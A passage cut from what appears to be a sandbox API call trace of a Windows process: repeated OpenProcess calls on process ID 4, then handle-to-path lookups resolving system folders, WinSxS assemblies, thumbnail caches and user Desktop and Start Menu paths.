bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.127] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.128] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.129] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.130] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.131] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.132] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.133] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.134] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.135] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.135] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.135] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.135] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.135] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.136] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.136] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.136] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.136] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.137] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.138] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.138] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.138] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.138] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.138] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.139] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.139] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.139] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.139] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.140] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.140] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.140] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.140] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.141] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.141] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.141] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.142] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.142] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.142] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.142] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.143] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.143] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.143] GetFileType (hFile=0x138) returned 0x1 [0090.143] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.145] CloseHandle (hObject=0x138) returned 1 [0090.145] GetFileType (hFile=0xf0) returned 0x1 [0090.145] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.146] CloseHandle (hObject=0xf0) returned 1 [0090.147] GetFileType (hFile=0x138) returned 0x1 [0090.147] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0090.148] CloseHandle (hObject=0x138) returned 1 [0090.148] GetFileType (hFile=0xf0) returned 0x0 [0090.148] CloseHandle (hObject=0xf0) returned 1 [0090.148] GetFileType (hFile=0x138) returned 0x1 [0090.149] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.152] CloseHandle (hObject=0x138) returned 1 [0090.152] GetFileType (hFile=0xf0) returned 0x1 [0090.153] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.154] CloseHandle (hObject=0xf0) returned 1 [0090.154] GetFileType (hFile=0x138) returned 0x1 [0090.154] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0090.155] CloseHandle (hObject=0x138) returned 1 [0090.156] GetFileType (hFile=0xf0) returned 0x1 [0090.156] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0090.157] CloseHandle (hObject=0xf0) returned 1 [0090.157] GetFileType (hFile=0x138) returned 0x1 [0090.157] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.159] CloseHandle (hObject=0x138) returned 1 [0090.159] GetFileType (hFile=0xf0) returned 0x1 [0090.159] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.160] CloseHandle (hObject=0xf0) returned 1 [0090.161] GetFileType (hFile=0x138) returned 0x1 [0090.161] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.162] CloseHandle (hObject=0x138) returned 1 [0090.162] GetFileType (hFile=0xf0) returned 0x1 [0090.162] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.163] CloseHandle (hObject=0xf0) returned 1 [0090.164] GetFileType (hFile=0x138) returned 0x1 [0090.164] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.166] CloseHandle (hObject=0x138) returned 1 [0090.166] GetFileType (hFile=0xf0) returned 0x1 [0090.166] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0090.167] CloseHandle (hObject=0xf0) returned 1 [0090.167] GetFileType (hFile=0x138) returned 0x1 [0090.168] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0090.169] CloseHandle (hObject=0x138) returned 1 [0090.169] GetFileType (hFile=0xf0) returned 0x1 [0090.169] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0090.171] CloseHandle (hObject=0xf0) returned 1 [0090.171] GetFileType (hFile=0x138) returned 0x1 [0090.171] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.172] CloseHandle (hObject=0x138) returned 1 [0090.172] GetFileType (hFile=0xf0) returned 0x1 [0090.172] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.174] CloseHandle (hObject=0xf0) returned 1 [0090.174] GetFileType (hFile=0x138) returned 0x1 [0090.174] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.175] CloseHandle (hObject=0x138) returned 1 [0090.176] GetFileType (hFile=0xf0) returned 0x1 [0090.176] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.178] CloseHandle (hObject=0xf0) returned 1 [0090.178] GetFileType (hFile=0x138) returned 0x1 [0090.178] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0090.179] CloseHandle (hObject=0x138) returned 1 [0090.180] GetFileType (hFile=0xf0) returned 0x1 [0090.180] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.193] CloseHandle (hObject=0xf0) returned 1 [0090.193] GetFileType (hFile=0x138) returned 0x1 [0090.193] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0090.194] CloseHandle (hObject=0x138) returned 1 [0090.195] GetFileType (hFile=0xf0) returned 0x1 [0090.195] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0090.197] CloseHandle (hObject=0xf0) returned 1 [0090.197] GetFileType (hFile=0x138) returned 0x1 [0090.197] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0090.199] CloseHandle (hObject=0x138) returned 1 [0090.199] GetFileType (hFile=0xf0) returned 0x1 [0090.199] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0090.201] CloseHandle (hObject=0xf0) returned 1 [0090.201] GetFileType (hFile=0x138) returned 0x1 [0090.201] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0090.202] CloseHandle (hObject=0x138) returned 1 [0090.202] GetFileType (hFile=0xf0) returned 0x1 [0090.202] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0090.203] CloseHandle (hObject=0xf0) returned 1 [0090.203] GetFileType (hFile=0x138) returned 0x1 [0090.203] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0090.205] CloseHandle (hObject=0x138) returned 1 [0090.205] GetFileType (hFile=0xf0) returned 0x1 [0090.205] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0090.207] CloseHandle (hObject=0xf0) returned 1 [0090.207] GetFileType (hFile=0x138) returned 0x1 [0090.207] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0090.208] CloseHandle (hObject=0x138) returned 1 [0090.209] GetFileType (hFile=0xf0) returned 0x1 [0090.209] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0090.210] CloseHandle (hObject=0xf0) returned 1 [0090.210] GetFileType (hFile=0x138) returned 0x1 [0090.210] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0090.212] CloseHandle (hObject=0x138) returned 1 [0090.212] GetFileType (hFile=0xf0) returned 0x1 [0090.212] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0090.213] CloseHandle (hObject=0xf0) returned 1 [0090.214] GetFileType (hFile=0x138) returned 0x1 [0090.214] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0090.216] CloseHandle (hObject=0x138) returned 1 [0090.216] GetFileType (hFile=0xf0) returned 0x1 [0090.216] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0090.218] CloseHandle (hObject=0xf0) returned 1 [0090.218] GetFileType (hFile=0x138) returned 0x1 [0090.219] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.221] CloseHandle (hObject=0x138) returned 1 [0090.221] GetFileType (hFile=0xf0) returned 0x1 [0090.221] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.223] CloseHandle (hObject=0xf0) returned 1 [0090.223] GetFileType (hFile=0x138) returned 0x1 [0090.223] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.225] CloseHandle (hObject=0x138) returned 1 [0090.226] GetFileType (hFile=0xf0) returned 0x1 [0090.226] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.282] CloseHandle (hObject=0xf0) returned 1 [0090.282] GetFileType (hFile=0x138) returned 0x1 [0090.283] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.285] CloseHandle (hObject=0x138) returned 1 [0090.285] GetFileType (hFile=0xf0) returned 0x1 [0090.285] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.287] CloseHandle (hObject=0xf0) returned 1 [0090.287] GetFileType (hFile=0x138) returned 0x1 [0090.288] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.289] CloseHandle (hObject=0x138) returned 1 [0090.291] GetFileType (hFile=0xf0) returned 0x1 [0090.291] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.293] CloseHandle (hObject=0xf0) returned 1 [0090.293] GetFileType (hFile=0x138) returned 0x1 [0090.293] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.295] CloseHandle (hObject=0x138) returned 1 [0090.295] GetFileType (hFile=0xf0) returned 0x1 [0090.296] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0090.297] CloseHandle (hObject=0xf0) returned 1 [0090.297] GetFileType (hFile=0x138) returned 0x1 [0090.297] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0090.299] CloseHandle (hObject=0x138) returned 1 [0090.299] GetFileType (hFile=0xf0) returned 0x1 [0090.299] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0090.301] CloseHandle (hObject=0xf0) returned 1 [0090.301] GetFileType (hFile=0x138) returned 0x1 [0090.301] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.303] CloseHandle (hObject=0x138) returned 1 [0090.303] GetFileType (hFile=0xf0) returned 0x1 [0090.303] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.304] CloseHandle (hObject=0xf0) returned 1 [0090.304] GetFileType (hFile=0x138) returned 0x1 [0090.305] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0090.306] CloseHandle (hObject=0x138) returned 1 [0090.306] GetFileType (hFile=0xf0) returned 0x1 [0090.306] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0090.308] CloseHandle (hObject=0xf0) returned 1 [0090.308] GetFileType (hFile=0x138) returned 0x1 [0090.308] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.310] CloseHandle (hObject=0x138) returned 1 [0090.310] GetFileType (hFile=0xf0) returned 0x1 [0090.310] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.312] CloseHandle (hObject=0xf0) returned 1 [0090.312] GetFileType (hFile=0x138) returned 0x1 [0090.312] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.314] CloseHandle (hObject=0x138) returned 1 [0090.314] GetFileType (hFile=0xf0) returned 0x1 [0090.314] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.316] CloseHandle (hObject=0xf0) returned 1 [0090.316] GetFileType (hFile=0x138) returned 0x1 [0090.316] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, 